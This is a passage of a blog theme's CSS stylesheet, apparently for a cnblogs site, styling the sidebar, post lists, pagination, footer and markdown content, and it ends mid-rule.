html[theme=\u0026#34;dark\u0026#34;] #sidebar_articlearchive li:hover, html[theme=\u0026#34;dark\u0026#34;] #sidebar_postarchive li:hover, html[theme=\u0026#34;dark\u0026#34;] #sidebar_topviewedposts li:hover, html[theme=\u0026#34;dark\u0026#34;] #sidebar_topcommentedposts li:hover, html[theme=\u0026#34;dark\u0026#34;] #sidebar_topdiggedposts li:hover { /* background: rgba(255,255,255,0.08); */ /* border-radius: 4px; */ color: var(--color-primary); } #sidebar_toptags ul { display: flex; flex-wrap: wrap; padding: 8px 20px; } #sidebar_toptags li a{ margin: 4px; display:block; background: transparent; padding: 4px 10px; border-radius: 4px; border: 1px solid var(--border-color-light); font-size: var(--text-h6)!important; line-height: var(--text-h3)!important; transition: all 200ms; transition-timing-function:ease-in-out; } #sidebar_toptags{ position:relative; } #sidebar_toptags li a[href$=\u0026#34;tag/\u0026#34;]{ color:var(--color-text-secondary); border:none; position:absolute; top: 11px; right:20px; padding:0; margin:0; } #sidebar_toptags li a[href$=\u0026#34;tag/\u0026#34;]:after{ content:\u0026#34; \\f101\u0026#34;; } #sidebar_toptags li a[href$=\u0026#34;tag/\u0026#34;]:hover{ color:var(--color-text-primary); background:transparent; border:none; } #sidebar_toptags a:before, #sidebar_articlecategory a:before { /* content: \u0026#34;#\u0026#34;; */ margin-right: 3px; } #sidebar_imagecategory li, .sidebar-block[id^=\u0026#34;sidebar_link\u0026#34;] li { margin: 4px 8px 4px 0; background: transparent; /* padding: 4px 10px; */ border-radius: 4px; /* font-size: var(--text-h6); */ line-height: 1.4; /* border: 1px solid var(--border-color-light); */ transition: all 300ms; } #sidebar_imagecategory li a, .sidebar-block[id^=\u0026#34;sidebar_link\u0026#34;] li a { display: block; padding: 4px 0px; } .sidebar-block[id^=\u0026#34;sidebar_link\u0026#34;] li a:before { margin-right:8px; } #sidebar_imagecategory li:hover, .sidebar-block[id^=\u0026#34;sidebar_link\u0026#34;] li:hover { /* border: 1px solid var(--color-primary); */ /* background: var(--color-primary); */ color: var(--color-primary); transition: all 300ms; } #sidebar_postcategory li { margin: 0; background: transparent; /* color: var(--color-warning); */ /* padding: 4px 10px; */ border-radius: 4px; /* font-size: var(--text-h6); */ /* line-height: 1.6; */ /* border: 1px solid var(--border-color-light); */ } /* #sidebar_postcategory li a,.category-item-link { display: block; padding: 4px 0px; } */ #sidebar_postcategory a:before { /* content: \u0026#34;\\e784\u0026#34;; */ } #sidebar_toptags li a:hover { background: var(--color-primary); border: 1px solid var(--color-primary);; color: #fff; cursor: pointer; transition: all 200ms; transition-timing-function:ease-in-out; } #sidebar_postcategory li:hover, #sidebar_articlecategory li:hover { /* background: var(--color-warning); */ /* border: 1px solid var(--color-warning); */ color: var(--color-primary); cursor: pointer; transition: background 300ms; } .sidebar-block, #sidebar_news, #sidebar_scroller { /* border-bottom: 1px solid var(--border-color-base); */ /* padding: 10px 0px 0; */ background: var(--color-white); border-radius: 0; line-height: 2; margin: 0px 0px 10px; /* transition: all 300ms; */ /* border: 1px solid var(--border-color-light); */ /* box-shadow: var(--light-shadow); */ } .sidebar-block a[href=\u0026#34;javascript:void(0)\u0026#34;]{ display:block; margin: 10px 0; text-align:center; padding: 8px!important; background: var(--color-info-2); color:var(--color-text-regular); border-radius:4px; transition:all .3s ease-in-out; font-size: var(--text-h6); line-height: 1.4; } .sidebar-block a[href=\u0026#34;javascript:void(0)\u0026#34;]:before{ content:\u0026#34;\u0026#34;!important; } .sidebar-block a[href=\u0026#34;javascript:void(0)\u0026#34;]:hover{ background:var(--color-info-1); color:var(--color-text-primary); transition:all .3s ease-in-out; } #sidebar_news .catListTitle, #sidebar_search .catListTitle { display: none; } /* #sidebar_recentposts li a:before { content: \u0026#34;\\f017\u0026#34;; margin-right: 10px; } .liScore:before { content: \u0026#34;\\f005\u0026#34;; margin-right: 10px; } .liRank:before { content: \u0026#34;\\f091\u0026#34;; margin-right: 10px; } #sidebar_postarchive li a:before, #sidebar_articlearchive li a:before { content: \u0026#34;\\f073\u0026#34;; margin-right: 10px; } .sidebar-block[id^=\u0026#34;sidebar_link\u0026#34;] li a:before { content: \u0026#34;\\f0c1\u0026#34;; } .recent_comment_title a:before { content: \u0026#34;\\f27a\u0026#34;; margin-right: 10px; } #sidebar_imagecategory li a:before { content: \u0026#34;\\f03e\u0026#34;; } #sidebar_topviewedposts li a:before { content: \u0026#34;\\f06e\u0026#34;; margin-right: 10px; } #sidebar_topcommentedposts li a:before { content: \u0026#34;\\f086\u0026#34;; margin-right: 10px; } #sidebar_topdiggedposts li a:before { content: \u0026#34;\\f164\u0026#34;; margin-right: 10px; } */ .recent_comment_author { border-bottom: 1px dashed var(--border-color-base); padding-bottom: 10px; margin-bottom: 10px; /* padding-right: 16px; */ margin-top: 6px; } .sidebar-block:hover, #sidebar_news:hover, #blog-calendar:hover { /*box-shadow: var(--light-shadow);*/ transition: all 300ms; } .catListTitle { margin: 0; font-size: var(--text-h5); font-weight: 600; /* text-indent:10px; */ padding: 4px 14px 4px; /* border-bottom: 1px solid var(--border-color-extra-linght); */ position: relative; } .catListTitle:before {/* content: \u0026#34;\u0026#34;; *//* border-left: solid 4px var(--color-primary); */margin-right: 4px;width: fit-content;} .sidebar-block ul, #profile_block, #sidebar_search_box { padding: 0px 24px 14px; margin: 0; /* line-height: 1.8; */ list-style-type: none; } #top-info { display:flex; justify-content:flex-start; align-items: center; /* margin-bottom: 14px; */ gap: 10px; flex-direction: column; } #p_b_follow { /* margin: 10px 0 20px; */ } #p_b_follow a { background: var(--color-danger); color: #fff; display: block; text-align: center; line-height: 2.8; border-radius: 4px; transition: all 300ms; } #p_b_follow a:hover { background: var(--color-danger-0); transition: all 300ms; } #p_b_follow span { background: var(--color-info); color: var(--color-white) !important; display: block; text-align: center; line-height: 2.4; border-radius: 4px; transition: all 300ms; } #p_b_follow span:hover { background: var(--color-info-0); transition: all 300ms; } .div_my_zzk { display: flex; /* padding: 0 14px; */ align-items: center; } .input_my_zzk { width: 0 !important; border-radius: 4px; flex-grow: 1; border: 1px solid var(--color-info-1); height: 30px; margin: 4px 0; padding: 0 10px; outline: none; color: var(--TextColor1); background: var(--color-info-2); } .btn_my_zzk { height: 30px !important; background: var(--ThemeColor); border: none; color: #fff; border-radius: 4px; padding: 0 10px !important; } .btn_my_zzk:hover { opacity: .8; cursor: pointer; } } /* #sidebar_search .catListTitle:before { content: \u0026#34;\\f002\u0026#34;; font-family: FontAwesome; margin-right: 8px; } #sidebar_shortcut .catListTitle:before { content: \u0026#34;\\f0c1\u0026#34;; font-family: FontAwesome; } #sidebar_recentposts .catListTitle:before { content: \u0026#34;\\f024 \u0026#34;; font-family: FontAwesome; } #sidebar_toptags .catListTitle:before { content: \u0026#34;\\f02c \u0026#34;; font-family: FontAwesome; } #sidebar_scorerank .catListTitle:before { content: \u0026#34;\\f080 \u0026#34;; font-family: FontAwesome; } #sidebar_postcategory .catListTitle:before { content: \u0026#34;\\f07c\u0026#34;; font-family: FontAwesome; } #sidebar_articlecategory .catListTitle:before { content: \u0026#34;\\f07c\u0026#34;; font-family: FontAwesome; } #sidebar_articlearchive .catListTitle:before, #sidebar_postarchive .catListTitle:before { content: \u0026#34;\\f073\u0026#34;; font-family: FontAwesome; } #sidebar_recentcomments .catListTitle:before { content: \u0026#34;\\f075 \u0026#34;; font-family: FontAwesome; } #sidebar_topviewedposts .catListTitle:before { content: \u0026#34;\\f06e \u0026#34;; font-family: FontAwesome; } #sidebar_topcommentedposts .catListTitle:before { content: \u0026#34;\\f086 \u0026#34;; font-family: FontAwesome; } #sidebar_imagecategory .catListTitle:before { content: \u0026#34;\\f03e\u0026#34;; font-family: FontAwesome; } #sidebar_topdiggedposts .catListTitle:before { content: \u0026#34;\\f004 \u0026#34;; font-family: FontAwesome; } #sidebar_links1575513 .catListTitle:before, .catList .catListTitle:before { content: \u0026#34;\\f0c2\u0026#34;; font-family: FontAwesome; } */ /************** 侧边栏 结束 ***************/ /************** 随笔/档案 开始 ***************/ @media screen and (min-width:0) { .day, .entrylistItem { background: var(--color-white); border-radius: 0px; overflow: hidden; /* transition: all 300ms; */ /*padding:0 10px;*/ border-bottom: 1px solid var(--border-color-extra-linght) !important; /* box-shadow: var(--light-shadow); */ } #homepage_top_pager { border-bottom: 1px solid var(--border-color-extra-linght) !important; } .entrylistTitle .day:hover { /*box-shadow: var(--light-shadow);*/ transition: all 300ms; } .dayTitle, .forFlow\u0026gt;.entrylistTitle { padding: 20px 20px 0px; margin: 0; font-size: var(--text-h3); /* line-height: 70px; */ position: relative; font-size: 24px; font-weight: 500; text-align: center; /* background: var(--color-white); */ /* margin-bottom: 10px; */ /* border-left: 1px solid var(--border-color-light); */ } .entrylist .entrylistTitle{ margin: 0; /* line-height: 60px; */ padding: 10px 0 0; font-size: var(--text-h3); position: relative; font-size: 24px; font-weight: 500; text-align: center; } .dayTitle { display: none; } .entrylistDescription { /* padding: 0; */ max-width: 960px; border-bottom: 1px solid var(--border-color-lighter); padding: 0px 20px 10px; color: var(--color-text-regular); /* text-align: center; */ } /* .dayTitle:after, .entrylistTitle:after { content: \u0026#34;\u0026#34;; width: 40px; height: 2px; border-radius: 4px; display: block; background: var(--color-primary); position: absolute; bottom: -1px; left: 20px; z-index: 4; transition: width 500ms; } .day:hover .dayTitle:after, .entrylistTitle:hover:after { width: 80px; transition: width 500ms; } */ .day .postTitle, .entrylistPosttitle { font-size: var(--text-h3); /* background: var(--color-white); */ padding: 20px 20px 10px; /* border-radius:4px 4px 0 0;*/ font-weight: 500; } .day .postTitle a:hover, .entrylistPosttitle a:hover { color: var(--color-primary); } .postCon, .entrylistPostSummary { /* background: var(--color-white); */ padding: 0 20px 0px; color: var(--color-text-regular); } .postDesc, .entrylistItemPostDesc { /* background: var(--color-white); */ padding: 14px 20px 20px; color: var(--color-text-secondary); /*border-radius:0 0 4px 4px;*/ /*border-top: 1px solid var(--DividColor); */ /* display: none; */ /* margin-top: 10px; */ display: flex; } .postDesc *:before, .postDesc2 *:before, .entrylistItemPostDesc *:before{ font-family:fontawesome; } .day .postDesc, .postDesc2, .entrylistItemPostDesc { /* font-size:0; */ /* display: none; */ width: 100%; display: inline-flex; flex-direction: row-reverse; text-overflow: ellipsis; } .entrylistItemPostDesc a[title=\u0026#34;permalink\u0026#34;] { display: unset; order: -1; } .entrylistItemPostDesc text { margin-right: 8px; } .day .postDesc span, .postDesc2 span, .entrylistItemPostDesc span, .day .postDesc a, .entrylistItemPostDesc a { margin-right: 14px; font-size: var(--text-h6)!important; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .post-view-count:before { content: \u0026#34;\\f06e\u0026#34;; margin-right: 4px; } .post-comment-count:before { content: \u0026#34;\\f27b\u0026#34;; margin-right: 4px; } .post-digg-count:before { content: \u0026#34;\\f08a\u0026#34;; margin-right: 4px; } .post-view-count { flex: 1; } .day .postDesc a[rel=\u0026#34;nofollow\u0026#34;], .postDesc2 a[target=\u0026#34;_blank\u0026#34;], .entrylistItemPostDesc a[rel=\u0026#34;nofollow\u0026#34;] { /* flex:1; */ /* right:0; */ margin-right: 14px; text-align: right; font-size: var(--text-h6)!important; /* display:none; */ transition: display 300ms; } .day .postDesc:hover a[rel=\u0026#34;nofollow\u0026#34;], .postDesc2:hover a[target=\u0026#34;_blank\u0026#34;], .entrylistItemPostDesc:hover a[rel=\u0026#34;nofollow\u0026#34;] { display: unset; float: right; transition: display 300ms; } .day .postDesc a[rel=\u0026#34;nofollow\u0026#34;]:hover, .postDesc2 a[target=\u0026#34;_blank\u0026#34;]:hover, .entrylistItemPostDesc a[rel=\u0026#34;nofollow\u0026#34;]:hover { color: var(--color-danger) } .day .postDesc a[rel=\u0026#34;nofollow\u0026#34;]:before { content: \u0026#34;\\f040\u0026#34;; margin-right: 0px; } .postDesc2 a[target=\u0026#34;_blank\u0026#34;]:before { content: \u0026#34;\\f040\u0026#34;; margin-right: 4px; } .entrylistItemPostDesc a[rel=\u0026#34;nofollow\u0026#34;]:before { content: \u0026#34;\\f040\u0026#34;; margin-right: 4px; } .entrylist p:last-child { display: none; } .day .postSeparator { /* margin:10px 0; */ height: 1px; overflow: hidden; border-bottom: 1px solid var(--border-color-extra-linght); /* padding-bottom: 20px; */ background: transparent; } .c_b_p_desc { line-height: 24px !important; display: -webkit-box; -webkit-box-orient: vertical; text-overflow: ellipsis; overflow: hidden; font-size: var(--text-h5); position: relative; } .c_b_p_desc_readmore { position: absolute; width: 100%; left: 0; top: 0; height: 100%; /* display: none; */ font-size: 0; background: transparent; /* margin: 20px 0 10px; */ /* border-top: 1px solid var(--border-color-lighter); */ /* padding: 10px 0 0 0; */ } .c_b_p_desc_readmore:after { /* content:\u0026#34;\\e6e0\u0026#34;; */ font-family: element-icons; float: right; } .c_b_p_desc img { margin-top: 0px; margin-left: 10px; border-radius: 8px; object-fit: cover; /* float: left; */ } @media screen and (max-width:767px) { .c_b_p_desc { -webkit-line-clamp: 3; } .c_b_p_desc img { height: 72px; width: 128.16px; border: 1px solid rgba(0, 0, 0, .05); } } @media screen and (min-width:767px) { .c_b_p_desc { -webkit-line-clamp: 5; } .c_b_p_desc img { height: 120px; width: 213.6px; } } } /************** 随笔/档案 结束 ***************/ /************** 常用链接子界面/相册 开始 ***************/ @media screen and (min-width: 0px) { .PostListTitle { margin: 0; font-size: 24px; font-weight: 500; text-align: center; /* text-indent:10px; */ padding: 20px 20px; /* border-bottom: 1px solid var(--border-color-extra-linght); */ position: relative; background: var(--color-white); border-radius: 0; } /* .PostListTitle:after { content: \u0026#34;\u0026#34;; width: 40px; height: 2px; border-radius: 4px; display: block; background: var(--color-primary); position: absolute; bottom: -1px; left: 20px; z-index: 4; transition: width 500ms; } .PostListTitle:hover:after { width: 80px; transition: width 500ms; } */ #myposts, .PostList { margin: 0 !important; background: var(--color-white); } #myposts { border-top: 1px solid var(--border-color-extra-linght); border-radius: 0; overflow: hidden; } .PostList { display: grid; grid-template-columns: 100%; border-bottom: 1px solid var(--border-color-extra-linght); } .postTitl2 { font-size: var(--text-h3); background: var(--color-white); padding: 20px 20px 10px; } .postDesc2 { background: var(--color-white); padding: 0 20px 20px; font-size: var(--text-h6) !important; color: var( --color-text-secondary); order: 1; } .postText2 { background: var(--color-white); padding: 0 20px 0px; margin: 0 !important; font-size: var(--text-h5) !important; color: var(--color-text-regular); } #taglist_main, .gallery { margin: 0; background: var(--color-white); padding: 0; border-radius: 0; box-sizing: border-box; transition: all 500ms; text-align: center; } #taglist_title, .thumbTitle, .galleryTitle { margin: 0; /* font-size: 24px; */ font-weight: 500; /* text-indent:10px; */ padding: 20px 20px; text-align: center; /* text-align: left; */ border-bottom: 1px solid var(--border-color-extra-linght); position: relative; } /* #taglist_title:after, .galleryTitle:after { content: \u0026#34;\u0026#34;; width: 40px; height: 2px; border-radius: 4px; display: block; background: var(--color-primary); position: absolute; bottom: -1px; left: 20px; z-index: 4; transition: width 500ms; } #taglist_title:hover:after, .galleryTitle:hover:after { width: 80px; transition: width 500ms; } */ #taglist, #GalleryThumbNailViewer1_ThumbNails { padding: 20px; width: 100%; } #MyTag1_dtTagList { width: 100%; /* table-layout: fixed; */ } #MyTag1_dtTagList td { padding: 0; margin: 0; width: 25%; padding: 10px 4px; box-sizing: border-box; /* height: 100px; */ white-space: nowrap; overflow: hidden; display: inline-flex; align-items: center; text-align: center; float: left; } #MyTag1_dtTagList td a { display: inline-flex; display: block; text-overflow: ellipsis; overflow: hidden; } #MyTag1_dtTagList td small { flex: 1; } @media screen and (max-width:540px) { #MyTag1_dtTagList td { width: 50% !important; } } .divPhoto { padding: 10px; /* height: 100px; */ overflow: hidden; } .divPhoto img { /* height: 100px; */ object-fit: cover; } #ViewPicture1_GalleryImage { /* margin-left:20px; */ max-width: calc(100% - 40px) !important; } .gallery:after { content: \u0026#34;\u0026#34;; height: 30px; display: block; } } /************** 常用链接子界面/相册 结束 ***************/ /************** 分页模块 开始 ***************/ @media screen and (min-width:0) { .topicListFooter { margin: 0; } #nav_next_page { background: var(--color-white); line-height: 2.6; border-radius: 10px; text-align: center; /* transition: all 500ms; */ /* margin-top: 20px; */ /* box-shadow: var(--light-shadow); */ } #nav_next_page a { font-size: var(--text-h6); display: block; width: fit-content; line-height: 28px; display: inline-block; padding: 0 10px; margin: 20px; border-radius: 4px; border: 1px solid var(--DividColor); } #nav_next_page:hover { /*box-shadow: var(--light-shadow);*/ transition: all 500ms; } .pager { margin: 0; font-size: var(--text-h6); color: var(--color-primary); line-height: 1.8; } .pager a { padding: 0 4px; color: var(--color-text-regular); border: none; border-radius: 4px; /* transition: all 500ms; */ display: inline-block; line-height: 28px; display: inline-block; padding: 0 10px; margin: 8px 8px; min-width: 28px; min-height: 28px; /* background: var(--BackgroundColor); */ /* font-size: small; */ border: 1px solid var(--DividColor); } .pager a:hover, #nav_next_page a:hover { color: #fff; background: var(--color-primary); transition: all 300ms; border-color: var(--color-primary); } .Pager { padding: 20px; text-align: center; background: var(--color-white); border-top: 1px solid var(--border-color-extra-linght); } span.current { border: none !important; background: transparent !important; color: var(--color-primary) !important; font-weight: normal !important; } #homepage_top_pager, #homepage_bottom_pager, #comment_pager_top, #comment_pager_bottom { /* background: var(--color-white); */ border-radius: 0; /* margin-bottom: 20px; */ padding: 20px; /* transition: all 500ms; */ border-bottom: 1px solid var(--border-color-extra-linght); } #homepage_top_pager:hover, #homepage_bottom_pager:hover, #comment_pager_top:hover, #comment_pager_bottom:hover { /*box-shadow: var(--light-shadow);*/ transition: all 500ms; } } /************** 分页模块 开始 ***************/ /************** 页脚 开始 ***************/ @media screen and (min-width:0) { #footer { display: none; text-align: center; padding: 30px 14px; background: var(--color-white); color: var(--color-text-secondary); } } /************** 页脚 结束 ***************/ /************** 博客正文基本样式 开始 ***************/ @media screen and (min-width:0px) { .post { display: flex; flex-direction: column; grid-template-columns: 100%; width: 100%; border: 0px solid var(--border-color-light); } .postBody { order: 1; /* background: var(--color-white); */ padding: 20px 20px !important; border-radius: 0; box-sizing: border-box; display: grid; grid-template-columns: 100%; width: 100%; overflow: hidden; } .post .postTitle, .post-header .postTitle { margin: 0; border-radius: 0; position: relative; font-size: 1.7em; font-weight: 500; text-align: center; padding: 30px 20px 0; /* background: var(--color-white); */ /* border-bottom: 1px solid var(--border-color-extra-linght); */ } .post .postTitle:after { content: \u0026#34;\u0026#34;; width: 40px; height: 2px; border-radius: 4px; display: block; background: var(--color-primary); position: absolute; bottom: -1px; left: 20px; z-index: 4; transition: width 500ms; display: none; } .post .postTitle:hover:after { width: 80px; transition: width 500ms; } .post .postDesc, .post-header .postDesc { padding: 10px 20px 30px; font-size: 0; display: flex; line-height: 1.8; align-items: center; justify-content: center; flex-wrap: wrap; text-align: center; /* border-bottom: 1px solid var(--border-color-extra-linght); */ } .post .postDesc span, .post-header .postDesc span, .post .postDesc a, .post-header .postDesc a { font-size: var(--text-h6); margin: 0 10px; } .post .postDesc span:before, .post .postDesc a:before, .post-header .postDesc span:before, .post-header .postDesc a:before { margin-right: 4px; font-family:fontawesome; } #post-date:before { content: \u0026#34;\\f017\u0026#34;; /* font-family: element-icons; */ } #post_view_count:before { content: \u0026#34;\\f06e\u0026#34;; /* font-family: element-icons; */ } #post_comment_count:before { content: \u0026#34;\\f27a\u0026#34;; /* font-family: element-icons; */ } #post_comment_count { /* flex-grow: 1; */ } .post .postDesc a[href^=\u0026#34;https://www.cnblogs.com/\u0026#34;]:before, .post-header .postDesc a[href^=\u0026#34;https://www.cnblogs.com/\u0026#34;]:before { content: \u0026#34;\\f2be\u0026#34;; /* font-family: element-icons; */ } .post .postDesc a[target=\u0026#34;_blank\u0026#34;]:before, .post-header .postDesc a[target=\u0026#34;_blank\u0026#34;]:before { content: \u0026#34;\\f15c\u0026#34;; /* font-family: element-icons; */ } .post .postDesc a[rel=\u0026#34;nofollow\u0026#34;]:before, .post-header .postDesc a[rel=\u0026#34;nofollow\u0026#34;]:before { content: \u0026#34;\\f040\u0026#34;; /* font-family: element-icons; */ } .post .postDesc a[onclick^=\u0026#34;AddToWz\u0026#34;], .post-header .postDesc a[onclick^=\u0026#34;AddToWz\u0026#34;] { margin: 0 10px; } .post .postDesc a[onclick^=\u0026#34;reportManager\u0026#34;], .post-header .postDesc a[onclick^=\u0026#34;reportManager\u0026#34;] { margin: 0 10px; } .post .postDesc a[onclick^=\u0026#34;AddToWz\u0026#34;]:before, .post-header .postDesc a[onclick^=\u0026#34;AddToWz\u0026#34;]:before { content: \u0026#34;\\f005\u0026#34;; /* font-family: element-icons; */ } .post .postDesc a[onclick^=\u0026#34;reportManager\u0026#34;]:before, .post-header .postDesc a[onclick^=\u0026#34;reportManager\u0026#34;]:before { content: \u0026#34;\\f071\u0026#34;; /* font-family: element-icons; */ } } /************** 博客正文基本样式 结束 ***************/ /************** markdown 开始 ***************/ @media screen and (min-width:0) { .cnblogs-markdown { line-height: 1.8; } .cnblogs-markdown a { color: var(--color-primary); /* text-decoration:underline; */ word-break: break-all; transition:color .3s; } /* .cnblogs-markdown a:hover{ color: var(--color-primary); transition:color .3s; } */ .fancybox-image { max-width: 100% !important; } .img-caption { text-align: center; width: fit-content; min-width: 20%; max-width: 80%; display: block; margin: 0 auto; padding: 10px 10px 40px; /* border-bottom: 1px solid var(--border-color-extra-linght); */ font-size: 1em; color: #999; } #cnblogs_post_body p img { width: auto; display: flex; margin: 0 auto; align-items: center; text-align: center; } pre code, pre code .hljs { /* border: none !important; */ /* color: #abb2bf; */ /* padding: 16px 16px!important; */ /* padding-left: 10px; */ /* background: #282c34 !important; */ /* font-size: var(--text-h6) !important; */ /* line-height: unset!important; */ font-family: SFMono-Regular, Menlo, Monaco, Consolas, \u0026#34;Liberation Mono\u0026#34;, \u0026#34;Courier New\u0026#34;, monospace !important; } #cnblogs_post_body ul { margin-left: 0 !important; } .cnblogs-markdown li li li { list-style-type: square !important; } .cnblogs-markdown blockquote { margin: 0; border-top: 0px; border-bottom: 0px; border-right: 0px; } .cnblogs-markdown .table-wrapper table { width: 100% !important; display: table !important; border: none !important; } #cnblogs_post_body .table-wrapper th, #cnblogs_post_body .table-wrapper td, .cnblogs-post-body .table-wrapper th, .cnblogs-post-body .table-wrapper td { border: 1px solid var(--color-text-placeholder) !important; word-break: break-all; /* white-space: nowrap; */ /* width: auto; */ } } /************** markdown 结束 ***************/ /************** github markdown 开始 ***************/ @media screen and (min-width:0) { .cnblogs-markdown { /* font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji !important; */ font-size: 16px !important; line-height: 1.8 !important; /* word-wrap: break-word !important; */ overflow: hidden; } .cnblogs-markdown kbd { display: inline-block !important; padding: 3px 5px !important; font: 11px SFMono-Regular, Consolas, Liberation Mono, Menlo, monospace !important; line-height: 10px !important; color: #444d56 !important; vertical-align: middle !important; background-color: #fafbfc !important; border: 1px solid #d1d5da !important; border-radius: 3px !important; box-shadow: inset 0 -1px 0 #d1d5da !important; } .cnblogs-markdown:after, .cnblogs-markdown:before { display: table !important; content: \u0026#34;\u0026#34; !important; } .cnblogs-markdown:after { clear: both !important; } .cnblogs-markdown\u0026gt;:first-child { margin-top: 0 !important } .cnblogs-markdown\u0026gt;:last-child { margin-bottom: 0 !important } .cnblogs-markdown a:not([href]) { color: inherit !important; text-decoration: none !important; } .cnblogs-markdown .absent { color: #cb2431 !important; } .cnblogs-markdown .anchor { float: left !important; padding-right: 4px !important; margin-left: -20px !important; line-height: 1 !important; } .cnblogs-markdown .anchor:focus { outline: none !important; } .cnblogs-markdown blockquote, .cnblogs-markdown details, .cnblogs-markdown dl, .cnblogs-markdown ol, .cnblogs-markdown p, .cnblogs-markdown pre, .cnblogs-markdown ul { /* word-break: break-all; */ margin-top: 0 !important; margin-bottom: 16px !important; } .cnblogs-markdown hr { height: .25em !important; padding: 0 !important; margin: 24px 0 !important; background-color: #e1e4e8 !important; border: 0 !important; } .cnblogs-markdown blockquote { padding: 0 1em !important; color: #6a737d !important; border-left: .25em solid #dfe2e5 !important; } .cnblogs-markdown blockquote\u0026gt;:first-child { margin-top: 0 !important; } .cnblogs-markdown blockquote\u0026gt;:last-child { margin-bottom: 0 !important; } .cnblogs-markdown h1, .cnblogs-markdown h2, .cnblogs-markdown h3, .cnblogs-markdown h4, .cnblogs-markdown h5, .cnblogs-markdown h6 { margin-top: 24px !important; margin-bottom: 16px !important; font-weight: 500 !important; line-height: 1.8 !important; } .cnblogs-markdown h1 .octicon-link, .cnblogs-markdown h2 .octicon-link, .cnblogs-markdown h3 .octicon-link, .cnblogs-markdown h4 .octicon-link, .cnblogs-markdown h5 .octicon-link, .cnblogs-markdown h6 .octicon-link { color: #1b1f23 !important; vertical-align: middle !important; visibility: hidden !important; } .cnblogs-markdown h1:hover .anchor, .cnblogs-markdown h2:hover .anchor, .cnblogs-markdown h3:hover .anchor, .cnblogs-markdown h4:hover .anchor, .cnblogs-markdown h5:hover .anchor, .cnblogs-markdown h6:hover .anchor { text-decoration: none !important; } .cnblogs-markdown h1:hover .anchor .octicon-link, .cnblogs-markdown h2:hover .anchor .octicon-link, .cnblogs-markdown h3:hover .anchor .octicon-link, .cnblogs-markdown h4:hover .anchor .octicon-link, .cnblogs-markdown h5:hover .anchor .octicon-link, .cnblogs-markdown h6:hover .anchor .octicon-link { visibility: visible !important; } .cnblogs-markdown h1 code, .cnblogs-markdown h1 tt, .cnblogs-markdown h2 code, .cnblogs-markdown h2 tt, .cnblogs-markdown h3 code, .cnblogs-markdown h3 tt, .cnblogs-markdown h4 code, .cnblogs-markdown h4 tt, .cnblogs-markdown h5 code, .cnblogs-markdown h5 tt, .cnblogs-markdown h6 code, .cnblogs-markdown h6 tt { font-size: inherit !important; } .cnblogs-markdown h1 { font-size: 1.5em !important; } .cnblogs-markdown h1, .cnblogs-markdown h2 { padding-bottom: .3em !important; border-bottom: 1px solid var(--border-color-extra-linght) !important; } .cnblogs-markdown h2 { font-size: 1.4em !important; } .cnblogs-markdown h3 { font-size: 1.3em !important; } .cnblogs-markdown h4 { font-size: 1.2em !important; } .cnblogs-markdown h5 { font-size: 1em !important; } .cnblogs-markdown h6 { font-size: 1em !important; color: #6a737d !important; } .cnblogs-markdown ol, .cnblogs-markdown ul { padding-left: 2em !important; } .cnblogs-markdown ol.no-list, .cnblogs-markdown ul.no-list { padding: 0 !important; list-style-type: none !important; } .cnblogs-markdown ol ol, .cnblogs-markdown ol ul, .cnblogs-markdown ul ol, .cnblogs-markdown ul ul { margin-top: 0 !important; margin-bottom: 0 !important; } .cnblogs-markdown li { word-wrap: break-all !important; } .cnblogs-markdown li\u0026gt;p { margin-top: 16px !important; } .cnblogs-markdown li+li { margin-top: .25em !important; } .cnblogs-markdown dl { padding: 0 !important; } .cnblogs-markdown dl dt { padding: 0 !important; margin-top: 16px !important; font-size: 1em !important; font-style: italic !important; font-weight: 600 !important; } .cnblogs-markdown dl dd { padding: 0 16px !important; margin-bottom: 16px !important; } .cnblogs-markdown .table-wrapper table { display: table !important; width: 100% !important; overflow-x: auto !important; } .cnblogs-markdown .table-wrapper table th { font-weight: 600 !important; background: var(--color-info-2)!important; } .cnblogs-markdown .table-wrapper table td { padding: 6px 13px !important; border: 1px solid #dfe2e5 !important; background: transparent !important; text-align: initial; } .cnblogs-markdown .table-wrapper table tr { background-color: var(--color-white); border-top: 1px solid #c6cbd1 !important; } .cnblogs-markdown .table-wrapper table tr:nth-child(2n) { background-color: var(--color-info-2)!important; } .cnblogs-markdown .table-wrapper table img { background-color: initial !important; } .cnblogs-markdown.blog_comment_body img { max-width: 100% !important; box-sizing: initial !important; background-color: var(--color-white) !important; } #cnblogs_post_body p img, .cnblogs-post-body p img { max-width: 100% !important; height: auto; } #cnblogs_post_body img { /* max-width: unset!important; */ } .cnblogs-markdown img[align=right] { padding-left: 20px !important; } .cnblogs-markdown img[align=left] { padding-right: 20px !important; } .cnblogs-markdown .emoji { max-width: none !important; vertical-align: text-top !important; background-color: initial !important; } .cnblogs-markdown span.frame { display: block !important; overflow: hidden !important; } .cnblogs-markdown span.frame\u0026gt;span { display: block !important; float: left !important; width: auto !important; padding: 7px !important; margin: 13px 0 0 !important; overflow: hidden !important; border: 1px solid #dfe2e5 !important; } .cnblogs-markdown span.frame span img { display: block !important; float: left !important; } .cnblogs-markdown span.frame span span { display: block !important; padding: 5px 0 0 !important; clear: both !important; color: #24292e !important; } .cnblogs-markdown span.align-center { display: block !important; overflow: hidden !important; clear: both !important; } .cnblogs-markdown span.align-center\u0026gt;span { display: block !important; margin: 13px auto 0 !important; overflow: hidden !important; text-align: center !important; } .cnblogs-markdown span.align-center span img { margin: 0 auto !important; text-align: center !important; } .cnblogs-markdown span.align-right { display: block !important; overflow: hidden !important; clear: both !important; } .cnblogs-markdown span.align-right\u0026gt;span { display: block !important; margin: 13px 0 0 !important; overflow: hidden !important; text-align: right !important; } .cnblogs-markdown span.align-right span img { margin: 0 !important; text-align: right !important; } .cnblogs-markdown span.float-left { display: block !important; float: left !important; margin-right: 13px !important; overflow: hidden !important; } .cnblogs-markdown span.float-left span { margin: 13px 0 0 !important; } .cnblogs-markdown span.float-right { display: block !important; float: right !important; margin-left: 13px !important; overflow: hidden !important; } .cnblogs-markdown span.float-right\u0026gt;span { display: block !important; margin: 13px auto 0 !important; overflow: hidden !important; text-align: right !important; } .cnblogs-markdown p code { padding: 0.1em .2em !important; margin: 0 2px !important; font-size: 0.9rem!important; display: inline!important; /* border: none !important; */ /* color: var(--color-text-placeholder); */ font-family: SFMono-Regular, Menlo, Monaco, Consolas, \u0026#34;Liberation Mono\u0026#34;, \u0026#34;Courier New\u0026#34;, monospace !important; background-color: var(--border-color-lighter); border-radius: 3px 